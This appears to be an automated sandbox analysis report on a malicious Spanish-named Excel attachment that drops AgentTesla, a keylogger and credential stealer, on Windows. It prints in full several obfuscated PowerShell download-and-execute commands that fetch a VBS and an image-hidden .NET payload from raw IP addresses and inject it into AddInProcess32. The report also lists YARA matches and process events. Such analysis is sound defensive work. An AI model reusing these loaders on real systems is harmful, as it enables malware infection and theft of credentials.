Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe poWersHEll -ex bYPAsS -nOp -W 1 -C deVIcEcrEDENtiAlDePlOyMenT.ExE ; Iex($(IEX('[SYsTEm.tExt.EncODIng]'+[chAr]58+[CHaR]0X3a+'uTf8.GetSTRInG([SySteM.CONVErT]'+[ChaR]58+[Char]58+'fRomBaSe64StrINg('+[CHAr]0X22+'JHlsc0ozTHU3NyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRW1CRXJkRWZpTml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwaW1GQ1NhWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjSFhoVEtzcnBILHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFlLUSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdGKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInZTcElNclJ2SXpVIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUVTcEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU3puVSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHlsc0ozTHU3Nzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5OC40Ni4xNzguMTQ0L2V2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudmJzIiwiJEVOdjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIiwwLDApO3N0QXJULXNMZUVQKDMpO3N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVudjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIg=='+[chAR]34+'))')))"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "(('Y0ulink = xR'+'mhttp://91.92.254.194/imge/new-image_v.jpg'+'xRm; Y0uwebC'+'lient = New-Object System.Net.WebClient; try { Y0udownlo'+'adedData '+'= Y0uwebClient.DownloadD'+'ata(Y0ulink) } catch { Write-'+'Host xRmFailed To download data from Y0ulinkxRm -ForegroundC'+'olor Red; exit }; if (Y0udownloadedData -ne Y0unull) { Y0uima'+'geText = [System.T'+'ext'+'.Encoding'+']::UTF8.'+'GetString(Y0udownloadedData); Y0ustartFlag = xRm<<B'+'ASE64_START>>xRm; Y0uendFlag = xRm<<BASE64_EN'+'D>>xRm; Y0ustartIndex = Y0uimageText.IndexOf(Y0ustartFlag); Y0uendIn'+'dex = Y0uimageText.IndexOf(Y0uendFlag); if (Y0ustartIndex -ge '+'0'+' -and Y0uendInd'+'ex -gt Y0'+'ustartInde'+'x) { Y0ustartIndex += Y0ustartFlag.Length; Y0ubase64Lengt'+'h = Y0uendIndex - Y0ustartIndex; Y0ubase'+'64Command = Y0uimageText.Su'+'bstring(Y0ustartIndex, Y0ubase64Length); Y0ucommandBytes = [System.Convert]::FromBase64String(Y0ubase64Command); Y0uloadedAssembly = [System.Reflec'+'tion.Assem'+'bly]::L'+'oad(Y0ucommandBytes); Y0utype = Y0uloadedAssembly.GetType(xRm'+'RunPE.Hom'+'exRm); Y0umethod = Y0utype'+'.GetMethod(xRmV'+'AIx'+'Rm).Invoke(Y0unull, [object[]] (xRmtxt.44'+'46sabbbbbbbewmadam/441.871.64.891//:ptthxRm , xRmdesativadoxRm , xRmdesativadoxRm , xRm'+'desativadox'+'Rm,xRmAddInProcess32xRm,xRmxRm)) } }') -rePlacE 'xRm',[ChAR]39 -rePlacE ([ChAR]89+[ChAR]48+[ChAR]117),[ChAR]36)\|IEX"	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Memory allocated: 770B0000 page execute and read and write

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_000007FE89AB352E	7_2_000007FE89AB352E
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_000007FE89A92E0E	12_2_000007FE89A92E0E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 14_2_003D38E8	14_2_003D38E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 14_2_003D4908	14_2_003D4908
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 14_2_003DF320	14_2_003DF320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 14_2_003DBB58	14_2_003DBB58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 14_2_003D3C30	14_2_003D3C30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 14_2_00721D60	14_2_00721D60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 14_2_007205C0	14_2_007205C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 14_2_00721678	14_2_00721678
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 14_2_00724668	14_2_00724668

Source: Cuentas bancarias y cdigo ##Swift incorrecto.xla.xlsx

OLE indicator, VBA macros: true

Source: Cuentas bancarias y cdigo ##Swift incorrecto.xla.xlsx	Stream path 'MBD000391C9/\x1Ole' : http://hop.fyi/ppltLBCqr?X"8PPIkjg4Ek1F5rA7P42cghgp3fT589hzutfsF4YjrzoqFeNU0xQEF2AceU3I83Ap5l3AF4yxswPqu5CaXHsEDb2y8aBCZAqxVu6OwTDYw063g4mSQ8l91lMSwHSXyVIfos1X7CUXLtZD$qh?aG3
Source: 46930000.0.dr	Stream path 'MBD000391C9/\x1Ole' : http://hop.fyi/ppltLBCqr?X"8PPIkjg4Ek1F5rA7P42cghgp3fT589hzutfsF4YjrzoqFeNU0xQEF2AceU3I83Ap5l3AF4yxswPqu5CaXHsEDb2y8aBCZAqxVu6OwTDYw063g4mSQ8l91lMSwHSXyVIfos1X7CUXLtZD$qh?aG3

Source: ~DF9497146B9A365AE9.TMP.0.dr

OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Jump to behavior

Source: 14.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 14.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 12.2.powershell.exe.12778558.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 12.2.powershell.exe.12778558.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 12.2.powershell.exe.12778558.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 12.2.powershell.exe.12778558.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: Process Memory Space: powershell.exe PID: 3324, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: 12.2.powershell.exe.12778558.2.raw.unpack, cPs8D.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 12.2.powershell.exe.12778558.2.raw.unpack, 72CF8egH.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 12.2.powershell.exe.12778558.2.raw.unpack, G5CXsdn.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 12.2.powershell.exe.12778558.2.raw.unpack, 3uPsILA6U.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 12.2.powershell.exe.12778558.2.raw.unpack, 6oQOw74dfIt.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 12.2.powershell.exe.12778558.2.raw.unpack, aMIWm.cs	Cryptographic APIs: 'CreateDecryptor', 'TransformBlock'
Source: 12.2.powershell.exe.12778558.2.raw.unpack, 3QjbQ514BDx.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 12.2.powershell.exe.12778558.2.raw.unpack, 3QjbQ514BDx.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: classification engine

Classification label: mal100.phis.troj.spyw.expl.evad.winXLSX@16/24@4/5

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\~$Cuentas bancarias y cdigo ##Swift incorrecto.xla.xlsx

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Mutant created: NULL

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR7C5F.tmp

Jump to behavior

Source: Cuentas bancarias y cdigo ##Swift incorrecto.xla.xlsx	OLE indicator, Workbook stream: true
Source: 46930000.0.dr	OLE indicator, Workbook stream: true

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\eveningfiledatinglover.vBS"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: .................P................o.......o.....}..w..............D.......D......1D.....(.P.......D......3D.......................c.............	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................Cm.........................l....}..w......c.....\.F.......D.............(.P.....................................................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..........................................c.....}..w............./V.....7..l......U.....(.P.....................................................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................Cm.........................l....}..w......c.....\.F.......D.............(.P.....................................................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..........................................c.....}..w............./V.....7..l......U.....(.P.....................................................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................t.h.a.t. .t.h.e. .p.a.t.h. .i.s. .c.o.r.r.e.c.t. .a.n.d. .t.r.y. .a.g.a.i.n.....X.......N.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1../V.....7..l......U.....(.P.....................X....... .......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..........................................c.....}..w............./V.....7..l......U.....(.P.....................................................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.................X.......@.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..........................................c.....}..w............./V.....7..l......U.....(.P.....................................................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ . . .S.t.r.i.n.g.). .[.].,. .C.o.m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n...X.......N.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..........................................c.....}..w............./V.....7..l......U.....(.P.............................l.......................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .........c.....}..w............./V.....7..l......U.....(.P.....................X...............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..................c.............0...^....Wn.....}..w............@EE.....^...............(.P.....................x...............................	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..................c.................^....Wn.....}..w............@EE.....^...............(.P.....................x...............................	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Cuentas bancarias y cdigo ##Swift incorrecto.xla.xlsx

ReversingLabs: Detection: 18%

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\mshta.exe C:\Windows\System32\mshta.exe -Embedding
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/C poWersHEll -ex bYPAsS -nOp -W 1 -C deVIcEcrEDENtiAlDePlOyMenT.ExE ; Iex($(IEX('[SYsTEm.tExt.EncODIng]'+[chAr]58+[CHaR]0X3a+'uTf8.GetSTRInG([SySteM.CONVErT]'+[ChaR]58+[Char]58+'fRomBaSe64StrINg('+[CHAr]0X22+'JHlsc0ozTHU3NyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRW1CRXJkRWZpTml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwaW1GQ1NhWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjSFhoVEtzcnBILHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFlLUSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdGKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInZTcElNclJ2SXpVIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUVTcEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU3puVSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHlsc0ozTHU3Nzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5OC40Ni4xNzguMTQ0L2V2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudmJzIiwiJEVOdjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIiwwLDApO3N0QXJULXNMZUVQKDMpO3N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVudjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIg=='+[chAR]34+'))')))"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe poWersHEll -ex bYPAsS -nOp -W 1 -C deVIcEcrEDENtiAlDePlOyMenT.ExE ; Iex($(IEX('[SYsTEm.tExt.EncODIng]'+[chAr]58+[CHaR]0X3a+'uTf8.GetSTRInG([SySteM.CONVErT]'+[ChaR]58+[Char]58+'fRomBaSe64StrINg('+[CHAr]0X22+'JHlsc0ozTHU3NyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRW1CRXJkRWZpTml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwaW1GQ1NhWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjSFhoVEtzcnBILHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFlLUSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdGKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInZTcElNclJ2SXpVIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUVTcEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU3puVSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHlsc0ozTHU3Nzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5OC40Ni4xNzguMTQ0L2V2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudmJzIiwiJEVOdjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIiwwLDApO3N0QXJULXNMZUVQKDMpO3N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVudjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIg=='+[chAR]34+'))')))"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\cboglgly\cboglgly.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESC2C3.tmp" "c:\Users\user\AppData\Local\Temp\cboglgly\CSC66221087E6254F6E92E0F9138CFEC2C1.TMP"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\eveningfiledatinglover.vBS"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "(('Y0ulink = xR'+'mhttp://91.92.254.194/imge/new-image_v.jpg'+'xRm; Y0uwebC'+'lient = New-Object System.Net.WebClient; try { Y0udownlo'+'adedData '+'= Y0uwebClient.DownloadD'+'ata(Y0ulink) } catch { Write-'+'Host xRmFailed To download data from Y0ulinkxRm -ForegroundC'+'olor Red; exit }; if (Y0udownloadedData -ne Y0unull) { Y0uima'+'geText = [System.T'+'ext'+'.Encoding'+']::UTF8.'+'GetString(Y0udownloadedData); Y0ustartFlag = xRm<<B'+'ASE64_START>>xRm; Y0uendFlag = xRm<<BASE64_EN'+'D>>xRm; Y0ustartIndex = Y0uimageText.IndexOf(Y0ustartFlag); Y0uendIn'+'dex = Y0uimageText.IndexOf(Y0uendFlag); if (Y0ustartIndex -ge '+'0'+' -and Y0uendInd'+'ex -gt Y0'+'ustartInde'+'x) { Y0ustartIndex += Y0ustartFlag.Length; Y0ubase64Lengt'+'h = Y0uendIndex - Y0ustartIndex; Y0ubase'+'64Command = Y0uimageText.Su'+'bstring(Y0ustartIndex, Y0ubase64Length); Y0ucommandBytes = [System.Convert]::FromBase64String(Y0ubase64Command); Y0uloadedAssembly = [System.Reflec'+'tion.Assem'+'bly]::L'+'oad(Y0ucommandBytes); Y0utype = Y0uloadedAssembly.GetType(xRm'+'RunPE.Hom'+'exRm); Y0umethod = Y0utype'+'.GetMethod(xRmV'+'AIx'+'Rm).Invoke(Y0unull, [object[]] (xRmtxt.44'+'46sabbbbbbbewmadam/441.871.64.891//:ptthxRm , xRmdesativadoxRm , xRmdesativadoxRm , xRm'+'desativadox'+'Rm,xRmAddInProcess32xRm,xRmxRm)) } }') -rePlacE 'xRm',[ChAR]39 -rePlacE ([ChAR]89+[ChAR]48+[ChAR]117),[ChAR]36)\|IEX"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/C poWersHEll -ex bYPAsS -nOp -W 1 -C deVIcEcrEDENtiAlDePlOyMenT.ExE ; Iex($(IEX('[SYsTEm.tExt.EncODIng]'+[chAr]58+[CHaR]0X3a+'uTf8.GetSTRInG([SySteM.CONVErT]'+[ChaR]58+[Char]58+'fRomBaSe64StrINg('+[CHAr]0X22+'JHlsc0ozTHU3NyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRW1CRXJkRWZpTml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwaW1GQ1NhWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjSFhoVEtzcnBILHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFlLUSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdGKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInZTcElNclJ2SXpVIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUVTcEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU3puVSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHlsc0ozTHU3Nzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5OC40Ni4xNzguMTQ0L2V2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudmJzIiwiJEVOdjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIiwwLDApO3N0QXJULXNMZUVQKDMpO3N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVudjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIg=='+[chAR]34+'))')))"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe poWersHEll -ex bYPAsS -nOp -W 1 -C deVIcEcrEDENtiAlDePlOyMenT.ExE ; Iex($(IEX('[SYsTEm.tExt.EncODIng]'+[chAr]58+[CHaR]0X3a+'uTf8.GetSTRInG([SySteM.CONVErT]'+[ChaR]58+[Char]58+'fRomBaSe64StrINg('+[CHAr]0X22+'JHlsc0ozTHU3NyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NRW1CRXJkRWZpTml0SW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwaW1GQ1NhWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjSFhoVEtzcnBILHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFlLUSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdGKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInZTcElNclJ2SXpVIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUVTcEFDZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU3puVSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHlsc0ozTHU3Nzo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5OC40Ni4xNzguMTQ0L2V2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudmJzIiwiJEVOdjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIiwwLDApO3N0QXJULXNMZUVQKDMpO3N0YVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVudjpBUFBEQVRBXGV2ZW5pbmdmaWxlZGF0aW5nbG92ZXIudkJTIg=='+[chAR]34+'))')))"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\cboglgly\cboglgly.cmdline"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\eveningfiledatinglover.vBS"	Jump to behavior
